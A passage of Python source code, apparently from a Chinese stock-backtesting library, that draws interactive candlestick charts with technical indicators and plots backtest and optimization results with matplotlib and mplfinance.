self.vdn = self.ax2.bar(np.arange(data_len),
volume_down, width=0.8, color='g')
# 生成移动均线，并绘制四条移动均线
self.ma1, self.ma2, self.ma3, self.ma4 = self.ax1.plot(np.arange(data_len),
plot_data[['MA5', 'MA10', 'MA20', 'MA60']])
# 生成布林带线，并绘制三条布林带线，初始状态下，设置布林带线不可见
self.bbu, self.bbm, self.bbl = self.ax1.plot(np.arange(data_len),
plot_data[['bb-u', 'bb-m', 'bb-l']])
self.bbu.set_visible(False)
self.bbm.set_visible(False)
self.bbl.set_visible(False)
# 生成macd线和柱，初始状态下，MACD线可见
self.macd_m, self.macd_s = self.ax3.plot(np.arange(data_len), plot_data[['macd-m', 'macd-s']])
# MACD线的红绿两色柱子需要分别生成并绘制
macd_bar_r = np.where(plot_data['macd-h'] > 0, plot_data['macd-h'], 0)
macd_bar_g = np.where(plot_data['macd-h'] <= 0, plot_data['macd-h'], 0)
self.macd_rbars = self.ax3.bar(np.arange(data_len), macd_bar_r, color='r')
self.macd_gbars = self.ax3.bar(np.arange(data_len), macd_bar_g, color='g')
# 生成rsi线和上下界，并设置RSI线不可见
self.rsi_up, = self.ax3.plot(np.arange(data_len), [75] * len(plot_data), color=(0.75, 0.5, 0.5))
self.rsi_dn, = self.ax3.plot(np.arange(data_len), [30] * len(plot_data), color=(0.5, 0.75, 0.5))
self.rsi, = self.ax3.plot(np.arange(data_len), plot_data['rsi'])
self.rsi_up.set_visible(False)
self.rsi_dn.set_visible(False)
self.rsi.set_visible(False)
# 生成dema线，并设置DEMA线不可见
self.dema, = self.ax3.plot(np.arange(data_len), plot_data['dema'])
self.dema.set_visible(False)
# 设置三张图表的显示界限
fig.canvas.mpl_connect('button_press_event', self.on_press)
fig.canvas.mpl_connect('button_release_event', self.on_release)
fig.canvas.mpl_connect('motion_notify_event', self.on_motion)
fig.canvas.mpl_connect('scroll_event', self.on_scroll)
def refresh_plot(self, idx_start, idx_range):
""" 根据最新的参数，重新绘制整个图表
"""
ap = []
# 添加K线图重叠均线，根据均线类型添加移动均线或布林带线
plot_data = self.data.iloc[idx_start:idx_start + idx_range - 1]
if self.avg_type == 'ma':
ap.append(mpf.make_addplot(plot_data[['MA5', 'MA10', 'MA20', 'MA60']], ax=self.ax1))
elif self.avg_type == 'bb':
ap.append(mpf.make_addplot(plot_data[['bb-u', 'bb-m', 'bb-l']], ax=self.ax1))
else:
pass # 不添加任何均线
# 添加指标，根据指标类型添加MACD或RSI或DEMA
if self.indicator == 'macd':
ap.append(mpf.make_addplot(plot_data[['macd-m', 'macd-s']], ylabel='macd', ax=self.ax3))
bar_r = np.where(plot_data['macd-h'] > 0, plot_data['macd-h'], 0)
bar_g = np.where(plot_data['macd-h'] <= 0, plot_data['macd-h'], 0)
ap.append(mpf.make_addplot(bar_r, type='bar', color='red', ax=self.ax3))
ap.append(mpf.make_addplot(bar_g, type='bar', color='green', ax=self.ax3))
self.ax3.set_ylabel('macd')
elif self.indicator == 'rsi':
ap.append(mpf.make_addplot([75] * len(plot_data), color=(0.75, 0.6, 0.6), ax=self.ax3))
ap.append(mpf.make_addplot([30] * len(plot_data), color=(0.6, 0.75, 0.6), ax=self.ax3))
ap.append(mpf.make_addplot(plot_data['rsi'], ylabel='rsi', ax=self.ax3))
self.ax3.set_ylabel('rsi')
else: # indicator == 'dema'
ap.append(mpf.make_addplot(plot_data['dema'], ylabel='dema', ax=self.ax3))
self.ax3.set_ylabel('dema')
# 绘制图表
mpf.plot(plot_data,
ax=self.ax1,
volume=self.ax2,
addplot=ap,
type='candle',
style=self.style,
datetime_format='%Y-%m',
xrotation=0)
plt.show()
def refresh_texts(self, display_data):
""" 更新K线图上的价格文本
"""
# display_data是一个交易日内的所有数据，将这些数据分别填入figure对象上的文本中
self.t3.set_text(f'{display_data["open"]:.3f} / {display_data["close"]:.3f}')
self.t4.set_text(f'{display_data["change"]:.3f}')
self.t5.set_text(f'[{display_data["pct_change"]:.3f}%]')
self.t6.set_text(f'{display_data.name.date()}')
self.t8.set_text(f'{display_data["high"]:.3f}')
self.t10.set_text(f'{display_data["low"]:.3f}')
self.t12.set_text(f'{display_data["volume"] / 10000:.3f}')
self.t14.set_text(f'{display_data["value"]:.3f}')
self.t16.set_text(f'{display_data["upper_lim"]:.3f}')
self.t18.set_text(f'{display_data["lower_lim"]:.3f}')
self.t20.set_text(f'{display_data["average"]:.3f}')
self.t22.set_text(f'{display_data["last_close"]:.3f}')
# 根据本交易日的价格变动值确定开盘价、收盘价的显示颜色
if display_data['change'] > 0: # 如果今日变动额大于0，即今天价格高于昨天，今天价格显示为红色
close_number_color = 'red'
elif display_data['change'] < 0: # 如果今日变动额小于0，即今天价格低于昨天，今天价格显示为绿色
close_number_color = 'green'
else:
close_number_color = 'black'
self.t3.set_color(close_number_color)
self.t4.set_color(close_number_color)
self.t5.set_color(close_number_color)
plt.show()
def on_press(self, event):
# 如果点击范围不在ax1或ax3范围内则退出
if not (event.inaxes == self.ax1 or event.inaxes == self.ax3):
return
if event.button != 1:
return
self.pressed = True
self.xpress = event.xdata
self.cur_xlim = self.ax1.get_xlim()
print(f'cur_xlim is {self.cur_xlim}')
# 当当前鼠标点击模式为双击时，继续检查更新K线图
if event.dblclick == 1:
# 当点击位置在ax1中时，切换当前ma类型, 在ma、bb、none之间循环
if event.inaxes == self.ax1:
if self.avg_type == 'ma':
self.avg_type = 'bb'
elif self.avg_type == 'bb':
self.avg_type = 'none'
else:
self.avg_type = 'ma'
# 更新K线图
# 当点击位置在ax3范围内时，切换当前indicator类型，在macd/dma/rsi/kdj之间循环
else: # event.inaxes == self.ax3
if self.indicator == 'macd':
self.indicator = 'dma'
elif self.indicator == 'dma':
self.indicator = 'rsi'
else:
self.indicator = 'macd'
# 更新K线图
self.ax1.clear()
self.ax2.clear()
self.ax3.clear()
self.refresh_plot(self.idx_start, self.idx_range)
def on_release(self, event):
"""当释放鼠标按键时，更新新的K线起点"""
self.pressed = False
if self.xpress is None:
return
dx = int(event.xdata - self.xpress)
self.idx_start -= dx
if self.idx_start <= 0:
self.idx_start = 0
if self.idx_start >= len(self.data) - 100:
self.idx_start = len(self.data) - 100
def on_motion(self, event):
"""当鼠标移动时，如果鼠标已经按下，计算鼠标水平移动距离，并根据水平距离计算K线平移距离"""
if not self.pressed:
return
if not event.inaxes == self.ax1:
return
# 计算鼠标的水平移动距离
dx = int(event.xdata - self.xpress)
new_start = self.idx_start - dx
# 设定平移的左右界限，如果平移后超出界限，则不再平移
if new_start <= 0:
new_start = 0
if new_start >= len(self.data) - 100:
new_start = len(self.data) - 100
# 根据水平距离重新绘制K线图
self.ax1.clear()
self.ax2.clear()
self.ax3.clear()
self.refresh_texts(self.data.iloc[new_start])
self.refresh_plot(new_start, self.idx_range)
def on_scroll(self, event):
"""当鼠标滚轮滚动时，更新K线图的显示范围"""
if event.inaxes != self.ax1:
return
# 确认是否是正确的滚轮滚动
if event.button == 'down':
# 缩小20%显示范围
scale_factor = 0.8
elif event.button == 'up':
# 放大20%显示范围
scale_factor = 1.2
else:
# 特殊情况处理
scale_factor = 1
print(event.button)
# 更新K线图显示范围
self.idx_range = int(self.idx_range * scale_factor)
# 确认显示范围是否超出允许范围：最小30、最大不超过当前起点到终点的距离
data_length = len(self.data)
if self.idx_range >= data_length - self.idx_start:
self.idx_range = data_length - self.idx_start
if self.idx_range <= 30:
self.idx_range = 30
# 更新K线图
self.ax1.clear()
self.ax2.clear()
self.ax3.clear()
self.refresh_texts(self.data.iloc[self.idx_start])
self.refresh_plot(self.idx_start, self.idx_range)
# TODO: simplify and merge these three functions
def candle(stock=None, start=None, end=None, stock_data=None, share_name=None, asset_type='E',
no_visual=False, **kwargs):
"""plot stock data or extracted data in candle form"""
return _mpf_plot(stock_data=stock_data, share_name=share_name, stock=stock, start=start,
end=end, asset_type=asset_type, plot_type='candle', no_visual=no_visual,
**kwargs)
def ohlc(stock=None, start=None, end=None, stock_data=None, share_name=None, asset_type='E',
no_visual=False, **kwargs):
"""plot stock data or extracted data in ohlc form"""
return _mpf_plot(stock_data=stock_data, share_name=share_name, stock=stock, start=start,
end=end, asset_type=asset_type, plot_type='ohlc', no_visual=no_visual,
**kwargs)
def renko(stock=None, start=None, end=None, stock_data=None, share_name=None, asset_type='E',
no_visual=False, **kwargs):
"""plot stock data or extracted data in renko form"""
return _mpf_plot(stock_data=stock_data, share_name=share_name, stock=stock, start=start,
end=end, asset_type=asset_type, plot_type='renko', no_visual=no_visual,
**kwargs)
def _mpf_plot(stock_data=None, share_name=None, stock=None, start=None, end=None,
asset_type='E', plot_type=None, no_visual=False, mav=None, indicator=None,
indicator_par=None, **kwargs):
"""plot stock data or extracted data in renko form
"""
assert plot_type is not None
if end is None:
now = pd.to_datetime('now') + pd.Timedelta(8, 'h')
if now.hour >= 23:
end = pd.to_datetime('today')
else:
end = pd.to_datetime('today') - pd.Timedelta(1, 'd')
if start is None:
start = end - pd.Timedelta(60, 'd')
if mav is None:
mav = [5, 10, 20, 60]
end = pd.to_datetime(end)
start = pd.to_datetime(start)
# 当stock_data没有给出时，则从网上或本地获取股票数据
if stock_data is None:
assert stock is not None
if 'adj' in kwargs:
adj = kwargs['adj']
else:
adj = 'none'
# 准备股票数据，为了实现动态图表，应该获取一只股票在全历史周期内的所有价格数据，并且在全周期上计算
# 所需的均线以及指标数据，显示的时候只显示其中一部分即可，并且可以使用鼠标缩放平移
# 因此_prepare_mpf_data()函数应该返回一个包含所有历史价格以及相关指标的DataFrame
daily, share_name = _get_mpf_data(stock=stock,
asset_type=asset_type,
adj=adj,
mav=mav,
indicator=indicator,
indicator_par=indicator_par)
has_volume = True
else:
assert isinstance(stock_data, pd.DataFrame)
assert all(col in stock_data.columns for col in ['open', 'high', 'low', 'close'])
daily = stock_data
has_volume = 'volume' in stock_data.columns
if share_name is None:
share_name = 'stock'
# 如果给出或获取的数据没有volume列，则生成空数据列
if 'volume' not in daily.columns:
daily['volume'] = np.nan
daily = _add_indicators(daily, mav=mav)
my_color = mpf.make_marketcolors(up='r',
down='g',
edge='inherit',
wick='inherit',
volume='inherit')
my_style = mpf.make_mpf_style(marketcolors=my_color,
figcolor='(0.82, 0.83, 0.85)',
gridcolor='(0.82, 0.83, 0.85)')
if not no_visual:
idx_start = np.searchsorted(daily.index, start)
idx_range = np.searchsorted(daily.index, end) - idx_start
my_candle = InterCandle(data=daily, stock_name=share_name, style=my_style,
idx_start=idx_start, idx_range=idx_range)
my_candle.refresh_texts(daily.iloc[idx_start + idx_range - 1])
my_candle.refresh_plot(idx_start, idx_range)
return daily
def _get_mpf_data(stock, asset_type='E', adj='none', freq='d', mav=None, indicator=None, indicator_par=None):
""" 返回一只股票在全部历史区间上的价格数据，生成一个pd.DataFrame. 包含open, high, low, close, volume 五组数据
并返回股票的名称。
:param stock: 股票代码
:param asset_type: 资产类型，E——股票，F——期货，FD——基金，I——指数
:param adj: 是否复权，none——不复权，hfq——后复权，qfq——前复权
:param freq: 价格周期，d——日K线，5min——五分钟k线
:param mav: 移动平均线，一个tuple，包含数个integer，代表均线周期
:param indicator: str，指标，如MACD等
:param indicator_par:
:return:
tuple：(pd.DataFrame, share_name)
"""
# 首先获取股票的上市日期，并获取从上市日期开始到现在的所有历史数据
name_of = {'E': 'Stock 股票',
'I': 'Index 指数',
'F': 'Futures 期货',
'FD': 'Fund 基金'}
if asset_type == 'E':
basic_info = stock_basic(fields='ts_code,symbol,name,fullname,area,industry,list_date')
elif asset_type == 'I':
# 获取指数的基本信息
basic_info = index_basic()
elif asset_type == 'F':
# 获取期货的基本信息
basic_info = future_basic()
elif asset_type == 'FD':
# 获取基金的基本信息
basic_info = fund_basic()
else:
raise KeyError(f'Wrong asset type: [{asset_type}]')
this_stock = basic_info.loc[basic_info.ts_code == stock]
if this_stock.empty:
raise KeyError(f'Can not find historical data for asset {stock} of type {asset_type}!')
# 设置历史数据获取区间的开始日期为股票上市第一天
start_date = pd.to_datetime(this_stock.list_date.values[0]).strftime('%Y-%m-%d')
# 设置历史数据获取最后一天，只有现在的时间在23:00以后时才设置为今天，否则就设置为昨天
# now获取的日期时间是格林尼治标准时间，计算中国的时间需要加8小时（中国在东八区）
now = pd.to_datetime('now') + pd.Timedelta(8, 'h')
if now.hour >= 23 and now.weekday() < 5:
end = pd.to_datetime('today')
else:
end = pd.to_datetime('today') - pd.Timedelta(now.weekday() - 4, 'd')
end_date = end.strftime('%Y-%m-%d')
name = this_stock.name.values[0]
# fullname = this_stock.fullname.values[0]
# 读取该股票从上市第一天到今天的全部历史数据，包括ohlc和volume数据
data = get_history_panel(start=start_date, end=end_date, freq=freq, shares=stock,
htypes='close,high,low,open,vol', asset_type=asset_type,
adj=adj, chanel='local', parallel=10).to_dataframe(share=stock)
# 返回股票的名称和全称
share_name = stock + ' - ' + name + ' [' + name_of[asset_type] + '] '
data.rename({'vol': 'volume'}, axis='columns', inplace=True)
return data, share_name
def _add_indicators(data, mav=None, bb_par=None, macd_par=None, rsi_par=None, dema_par=None):
""" data是一只股票的历史K线数据，包括O/H/L/C/V五组数据或者O/H/L/C四组数据
并根据这些数据生成以下数据，加入到data中：
- Moving Average
- change and percent change
- average
- last close
- Bband
- macd
- kdj
- dma
- rsi
:param data:
:return: pd.DataFrame
"""
if mav is None:
mav = (5, 10, 20)
# 其他indicator的parameter使用默认值
if dema_par is None:
dema_par = (30,)
if macd_par is None:
macd_par = (9, 12, 26)
if rsi_par is None:
rsi_par = (14,)
if bb_par is None:
bb_par = (20, 2, 2, 0)
# 在DataFrame中增加均线信息：
assert isinstance(mav, (list, tuple))
assert all(isinstance(item, int) for item in mav)
for value in mav:
data['MA' + str(value)] = ma(data.close, timeperiod=value) # 以后还可以加上不同的ma_type
data['change'] = np.round(data['close'] - data['close'].shift(1), 3)
data['pct_change'] = np.round(data['change'] / data['close'] * 100, 2)
data['value'] = np.round(data['close'] * data['volume'] / 1000000, 2)
data['upper_lim'] = np.round(data['close'] * 1.1, 3)
data['lower_lim'] = np.round(data['close'] * 0.9, 3)
data['last_close'] = data['close'].shift(1)
data['average'] = data[['open', 'close', 'high', 'low']].mean(axis=1)
data['volrate'] = data['volume']
# 添加不同的indicator
data['dema'] = dema(data.close, *dema_par)
data['macd-m'], data['macd-s'], data['macd-h'] = macd(data.close, *macd_par)
data['rsi'] = rsi(data.close, *rsi_par)
data['bb-u'], data['bb-m'], data['bb-l'] = bbands(data.close, *bb_par)
return data
def _plot_loop_result(loop_results: dict, config):
"""plot the loop results in a fancy way that displays all information more clearly"""
# prepare looped_values dataframe
if not isinstance(loop_results, dict):
raise TypeError('')
looped_values = loop_results['complete_values']
if looped_values.empty:
raise ValueError(f'No meaningful operation list is created in current period thus back looping is skipped!')
# register matplotlib converters is requested in future matplotlib versions
register_matplotlib_converters()
# 计算在整个投资回测区间内每天的持股数量，通过持股数量的变化来推出买卖点
result_columns = looped_values.columns
fixed_column_items = ['fee', 'cash', 'value', 'reference', 'ref', 'ret',
'invest', 'underwater', 'volatility', 'pct_change',
'beta', 'sharp', 'alpha']
stock_holdings = [item for
item in
result_columns if
item not in fixed_column_items and
item[-2:] != '_p']
# 为了确保回测结果和参考价格在同一个水平线上比较，需要将他们的起点"重合"在一起，否则
# 就会出现两者无法比较的情况。
# 例如，当参考价格为HS300指数，而回测时的初始资金额为100000时，回测结果的金额通常在
# 100000以上，而HS300指数的价格仅仅在2000～5000之间波动，这就导致在同一个图表上
# plot两个指标时，只能看到回测结果，而HS300指数则被压缩成了一条直线，无法对比
# 解决办法时同时显示两者的相对收益率，两条线的起点都是0，就能很好地解决上述问题。
# 持股数量变动量，当持股数量发生变动时，判断产生买卖行为
change = (looped_values[stock_holdings] - looped_values[stock_holdings].shift(1)).sum(1)
# 计算回测记录第一天的回测结果和参考指数价格，以此计算后续的收益率曲线
start_point = looped_values['value'].iloc[0]
ref_start = looped_values['reference'].iloc[0]
# 计算回测结果的每日回报率
ret = looped_values['value'] - looped_values['value'].shift(1)
position = 1 - (looped_values['cash'] / looped_values['value'])
beta = looped_values['beta']
alpha = looped_values['alpha']
volatility = looped_values['volatility']
sharp = looped_values['sharp']
underwater = looped_values['underwater']
drawdowns = loop_results['worst_drawdowns']
# 回测结果和参考指数的总体回报率曲线
return_rate = (looped_values.value - start_point) / start_point * 100
ref_rate = (looped_values.reference - ref_start) / ref_start * 100
# 将benchmark的起始资产总额调整到与回测资金初始值一致，一遍生成可以比较的benchmark资金曲线
# 这个资金曲线用于显示"以对数比例显示的资金变化曲线"图
adjusted_bench_start = looped_values.reference / ref_start * start_point
# process plot figure and axes formatting
years = mdates.YearLocator() # every year
months = mdates.MonthLocator() # every month
weekdays = mdates.WeekdayLocator() # every weekday
years_fmt = mdates.DateFormatter('%Y')
month_fmt_none = mdates.DateFormatter('')
month_fmt_l = mdates.DateFormatter('%y/%m')
month_fmt_s = mdates.DateFormatter('%m')
chart_width = 0.88
# 显示投资回报评价信息
fig = plt.figure(figsize=(12, 15), facecolor=(0.82, 0.83, 0.85))
ax1 = fig.add_axes([0.05, 0.67, chart_width, 0.20])
ax2 = fig.add_axes([0.05, 0.57, chart_width, 0.08], sharex=ax1)
ax3 = fig.add_axes([0.05, 0.49, chart_width, 0.06], sharex=ax1)
ax4 = fig.add_axes([0.05, 0.41, chart_width, 0.06], sharex=ax1)
ax5 = fig.add_axes([0.05, 0.33, chart_width, 0.06], sharex=ax1)
ax6 = fig.add_axes([0.05, 0.25, chart_width, 0.06], sharex=ax1)
ax7 = fig.add_axes([0.02, 0.04, 0.38, 0.16])
ax8 = fig.add_axes([0.43, 0.04, 0.15, 0.16])
ax9 = fig.add_axes([0.64, 0.04, 0.29, 0.16])
if isinstance(config.asset_pool, str):
title_asset_pool = config.asset_pool
else:
if len(config.asset_pool) > 3:
title_asset_pool = list_to_str_format(config.asset_pool[:3]) + '...'
else:
title_asset_pool = list_to_str_format(config.asset_pool)
fig.suptitle(f'Back Testing Result {title_asset_pool} - benchmark: {config.reference_asset}',
fontsize=14,
fontweight=10)
# 投资回测结果的评价指标全部被打印在图表上，所有的指标按照表格形式打印
# 为了实现表格效果，指标的标签和值分成两列打印，每一列的打印位置相同
fig.text(0.07, 0.955, f'periods: {loop_results["years"]:3.1f} years, '
f'from: {loop_results["loop_start"].date()} to {loop_results["loop_end"].date()}'
f'time consumed: signal creation: {time_str_format(loop_results["op_run_time"])};'
f' back test:{time_str_format(loop_results["loop_run_time"])}')
fig.text(0.21, 0.90, f'Operation summary:\n\n'
f'Total op fee:\n'
f'total investment:\n'
f'final value:', ha='right')
fig.text(0.23, 0.90, f'{loop_results["oper_count"].buy.sum()} buys \n'
f'{loop_results["oper_count"].sell.sum()} sells\n'
f'¥{loop_results["total_fee"]:13,.2f}\n'
f'¥{loop_results["total_invest"]:13,.2f}\n'
f'¥{loop_results["final_value"]:13,.2f}')
fig.text(0.50, 0.90, f'Cumulative return:\n'
f'Avg annual return:\n'
f'Benchmark return:\n'
f'Avg annual ref return:\n'
f'Max drawdown:', ha='right')
fig.text(0.52, 0.90, f'{loop_results["rtn"]:.2%} \n'
f'{loop_results["annual_rtn"]: .2%} \n'
f'{loop_results["ref_rtn"]:.2%} \n'
f'{loop_results["ref_annual_rtn"]:.2%}\n'
f'{loop_results["mdd"]:.1%}'
f' on {loop_results["valley_date"].date()}')
fig.text(0.82, 0.90, f'alpha:\n'
f'Beta:\n'
f'Sharp ratio:\n'
f'Info ratio:\n'
f'250-day volatility:', ha='right')
fig.text(0.84, 0.90, f'{loop_results["alpha"]:.3f} \n'
f'{loop_results["beta"]:.3f} \n'
f'{loop_results["sharp"]:.3f} \n'
f'{loop_results["info"]:.3f} \n'
f'{loop_results["volatility"]:.3f}')
# 绘制参考数据的收益率曲线图
ax1.set_title('cum-return, benchmark and history operations')
ax1.plot(looped_values.index, ref_rate, linestyle='-',
color=(0.4, 0.6, 0.8), alpha=0.85, label='Benchmark')
# 绘制回测结果的收益率曲线图
ax1.plot(looped_values.index, return_rate, linestyle='-',
color=(0.8, 0.2, 0.0), alpha=0.85, label='Return')
ax1.set_ylabel('Cumulative Return')
ax1.yaxis.set_major_formatter(mtick.PercentFormatter())
# 填充参考收益率的正负区间，绿色填充正收益率，红色填充负收益率
ax1.fill_between(looped_values.index, 0, ref_rate,
where=ref_rate >= 0,
facecolor=(0.4, 0.6, 0.2), alpha=0.35)
ax1.fill_between(looped_values.index, 0, ref_rate,
where=ref_rate < 0,
facecolor=(0.8, 0.2, 0.0), alpha=0.35)
# 显示持股仓位区间（效果是在回测区间上用绿色带表示多头仓位，红色表示空头仓位，颜色越深仓位越高）
# 查找每次买进和卖出的时间点并将他们存储在一个列表中，用于标记买卖时机
if config.show_positions:
position_bounds = [looped_values.index[0]]
position_bounds.extend(looped_values.loc[change != 0].index)
position_bounds.append(looped_values.index[-1])
for first, second, long_short in zip(position_bounds[:-2], position_bounds[1:],
position.loc[position_bounds[:-2]]):
# 分别使用绿色、红色填充交易回测历史中的多头和空头区间
if long_short > 0:
# 用不同深浅的绿色填充多头区间, 0 < long_short < 1
if long_short > 1:
long_short = 1
ax1.axvspan(first, second,
facecolor=((1 - 0.6 * long_short), (1 - 0.4 * long_short), (1 - 0.8 * long_short)),
alpha=0.2)
else:
# 用不同深浅的红色填充空头区间, -1 < long_short < 0
if long_short < -1:
long_short = -1
ax1.axvspan(first, second,
facecolor=((1 + 0.2 * long_short), (1 + 0.8 * long_short), (1 + long_short)),
alpha=0.2)
# 显示买卖时机的另一种方法，使用buy / sell 来存储买卖点
# buy_point是当持股数量增加时为买点，sell_points是当持股数量下降时
# 在买卖点当天写入的数据是参考数值，这是为了使用散点图画出买卖点的位置
# 绘制买卖点散点图(效果是在ref线上使用红绿箭头标识买卖点)
if config.buy_sell_points:
buy_points = np.where(change > 0, ref_rate, np.nan)
sell_points = np.where(change < 0, ref_rate, np.nan)
ax1.scatter(looped_values.index, buy_points, color='green',
label='Buy', marker='^', alpha=0.9)
ax1.scatter(looped_values.index, sell_points, color='red',
label='Sell', marker='v', alpha=0.9)
# 使用箭头标记最大回撤区间，箭头从最高起点开始，指向最低点，第二个箭头从最低点开始，指向恢复点
ax1.annotate(f"{loop_results['peak_date'].date()}",
xy=(loop_results["valley_date"], return_rate[loop_results["valley_date"]]),
xycoords='data',
xytext=(loop_results["peak_date"], return_rate[loop_results["peak_date"]]),
textcoords='data',
arrowprops=dict(width=1, headwidth=3, facecolor='black', shrink=0.),
ha='right',
va='bottom')
if pd.notna(loop_results["recover_date"]):
ax1.annotate(f"-{loop_results['mdd']:.1%}\n{loop_results['valley_date'].date()}",
xy=(loop_results["recover_date"], return_rate[loop_results["recover_date"]]),
xycoords='data',
xytext=(loop_results["valley_date"], return_rate[loop_results["valley_date"]]),
textcoords='data',
arrowprops=dict(width=1, headwidth=3, facecolor='black', shrink=0.),
ha='right',
va='top')
else:
ax1.text(x=loop_results["valley_date"],
y=return_rate[loop_results["valley_date"]],
s=f"-{loop_results['mdd']:.1%}\nnot recovered",
ha='right',
va='top')
ax1.legend()
# 绘制参考数据的收益率曲线图
ax2.set_title('benchmark and cumulative value in Logarithm scale')
ax2.plot(looped_values.index, adjusted_bench_start, linestyle='-',
color=(0.4, 0.6, 0.8), alpha=0.85, label='Benchmark')
# 绘制回测结果的收益率曲线图
ax2.plot(looped_values.index, looped_values.value, linestyle='-',
color=(0.8, 0.2, 0.0), alpha=0.85, label='Cum Value')
ax2.set_ylabel('Cumulative Value\n in logarithm scale')
ax2.yaxis.set_major_formatter(mtick.PercentFormatter())
ax2.set_yscale('log')
ax2.legend()
ax3.set_title('Rolling beta and alpha')
ax3.plot(looped_values.index, beta, label='beta')
ax3.plot(looped_values.index, alpha, label='alpha')
ax3.set_ylabel('rolling\nbeta/alpha')
ax3.legend()
ax4.set_title('returns')
ax4.bar(looped_values.index, ret)
ax4.set_ylabel('return')
ax5.set_title('Rolling volatility and sharp')
ax5.plot(looped_values.index, volatility, label='volatility')
ax5.plot(looped_values.index, sharp, label='sharp')
ax5.set_ylabel('Volatility\nsharp')
ax5.legend()
# 绘制underwater图（drawdown可视化图表）
ax6.set_title('underwater plot and 5 worst drawdowns')
ax6.plot(underwater, label='underwater')
ax6.set_ylabel('underwater')
ax6.set_xlabel('date')
ax6.set_ylim(-1, 0)
ax6.fill_between(looped_values.index, 0, underwater,
where=underwater < 0,
facecolor=(0.8, 0.2, 0.0), alpha=0.35)
dd_starts = drawdowns['peak_date'].values
dd_ends = drawdowns['recover_date'].values
dd_valley = drawdowns['valley_date'].values
dd_value = drawdowns['drawdown'].values
for start, end, valley, dd in zip(dd_starts, dd_ends, dd_valley, dd_value):
if np.isnan(end):
end = looped_values.index[-1]
ax6.axvspan(start, end,
facecolor='grey',
alpha=0.3)
if dd > -0.6:
ax6.text(x=valley,
y=dd - 0.05,
s=f"-{dd:.1%}\n",
ha='center',
va='top')
else:
ax6.text(x=valley,
y=dd + 0.15,
s=f"-{dd:.1%}\n",
ha='center',
va='bottom')
# 绘制收益率热力图
monthly_return_df = loop_results['return_df'][['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']]
return_years = monthly_return_df.index
return_months = monthly_return_df.columns
return_values = monthly_return_df.values
c = ax7.imshow(return_values, cmap='RdYlGn')
ax7.set_title('monthly returns')
ax7.set_xticks(np.arange(len(return_months)))
ax7.set_yticks(np.arange(len(return_years)))
ax7.set_xticklabels(return_months, rotation=45)
ax7.set_yticklabels(return_years)
base_aspect_ratio = 0.72
if len(return_years) <= 12:
aspect_ratio = base_aspect_ratio
else:
aspect_ratio = base_aspect_ratio * 12 / len(return_years)
ax7.set_aspect(aspect_ratio)
ax7.grid(False)
fig.colorbar(c, ax=ax7)
# 绘制年度收益率柱状图
y_cum = loop_results['return_df']['y-cum']
y_count = len(return_years)
pos_y_cum = np.where(y_cum >= 0, y_cum, 0)
neg_y_cum = np.where(y_cum < 0, y_cum, 0)
return_years = y_cum.index
ax8.barh(np.arange(y_count), pos_y_cum, 1, align='center', facecolor='green', alpha=0.85)
ax8.barh(np.arange(y_count), neg_y_cum, 1, align='center', facecolor='red', alpha=0.85)
ax8.set_yticks(np.arange(y_count))
ax8.set_ylim(y_count - 0.5, -0.5)
ax8.set_yticklabels(list(return_years))
ax8.set_title('Yearly returns')
ax8.grid(False)
# 绘制月度收益率Histo直方图
ax9.set_title('monthly returns histo')
ax9.hist(monthly_return_df.values.flatten(), bins=18, alpha=0.5,
label='monthly returns')
ax9.grid(False)
# 设置所有图表的基本格式:
for ax in [ax1, ax2, ax3, ax4, ax5, ax6]:
ax.yaxis.tick_right()
ax.xaxis.set_ticklabels([])
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
ax.spines['bottom'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.grid(True)
# 调整主图表的日期格式
# major tick on year if span > 3 years, else on month
if loop_results['years'] > 4:
major_locator = years
major_formatter = years_fmt
minor_locator = months
minor_formatter = month_fmt_none
elif loop_results['years'] > 2:
major_locator = years
major_formatter = years_fmt
minor_locator = months
minor_formatter = month_fmt_s
else:
major_locator = months
major_formatter = month_fmt_l
minor_locator = weekdays
minor_formatter = month_fmt_none
# 前五个主表的时间轴共享，因此只需要设置最下方表的时间轴即可
ax6.xaxis.set_major_locator(major_locator)
ax6.xaxis.set_major_formatter(major_formatter)
ax6.xaxis.set_minor_locator(minor_locator)
ax6.xaxis.set_minor_formatter(minor_formatter)
# 隐藏除ax6以外的其他ax的ticklabel, 因为ax1到ax6共享xaxis，因此不能用：
# ax1.xaxis.set_ticklabels([])
for ax in [ax1, ax2, ax3, ax4, ax5]:
plt.setp(ax.get_xticklabels(), visible=False)
plt.show()
# TODO: like _print_test_result, take the evaluate results on both opti and test hist data
# TODO: and commit comparison base on these two data sets
def _plot_test_result(opti_eval_res: list,
test_eval_res: list = None,
config=None):
""" plot test result of optimization results
:param test_eval_res:
:type test_eval_res: list
:param opti_eval_res:
:type opti_eval_res: list
:param config:
:return:
"""
# 以下评价指标是可以用来比较优化数据集和测试数据集的表现的，只有以下几个评价指标可以使用子图表显示
plot_compariables = ['annual_rtn',
'mdd',
'volatility',
'beta',
'sharp',
'alpha',
'info']
if test_eval_res is None:
test_eval_res = []
# 从opti和test评价结果列表中取出完整的回测曲线
result_count = len(test_eval_res)
valid_opti_eval_res = [item for item in opti_eval_res if not item['complete_values'].empty]
valid_test_eval_res = [item for item in test_eval_res if not item['complete_values'].empty]
opti_complete_value_results = [result['complete_values'] for result in valid_opti_eval_res]
test_complete_value_results = [result['complete_values'] for result in valid_test_eval_res]
first_opti_looped_values = opti_complete_value_results[0]
first_test_looped_values = test_complete_value_results[0]
opti_reference = first_opti_looped_values.reference
test_reference = first_test_looped_values.reference
complete_reference = opti_reference.reindex(opti_reference.index.union(test_reference.index))
complete_reference.loc[np.isnan(complete_reference)] = test_reference
# matplotlib 所需固定操作
register_matplotlib_converters()
CHART_WIDTH = 0.9
# 计算在生成的评价指标清单中，有多少个可以进行优化-测试对比的评价指标，根据评价指标的数量生成多少个子图表
compariable_indicators = [i for i in valid_opti_eval_res[0].keys() if i in plot_compariables]
compariable_indicator_count = len(compariable_indicators)
# 显示投资回报评价信息
fig, ax1 = plt.subplots(1, 1, figsize=(12, 8), facecolor=(0.82, 0.83, 0.85))
fig.suptitle(f'Optimization Test Results - {result_count} sets of strategy parameters', fontsize=14, fontweight=10)
# 投资回测结果的评价指标全部被打印在图表上，所有的指标按照表格形式打印
# 为了实现表格效果，指标的标签和值分成两列打印，每一列的打印位置相同
fig.text(0.07, 0.91, f'opti periods: {valid_opti_eval_res[0]["years"]:.1f} years, '
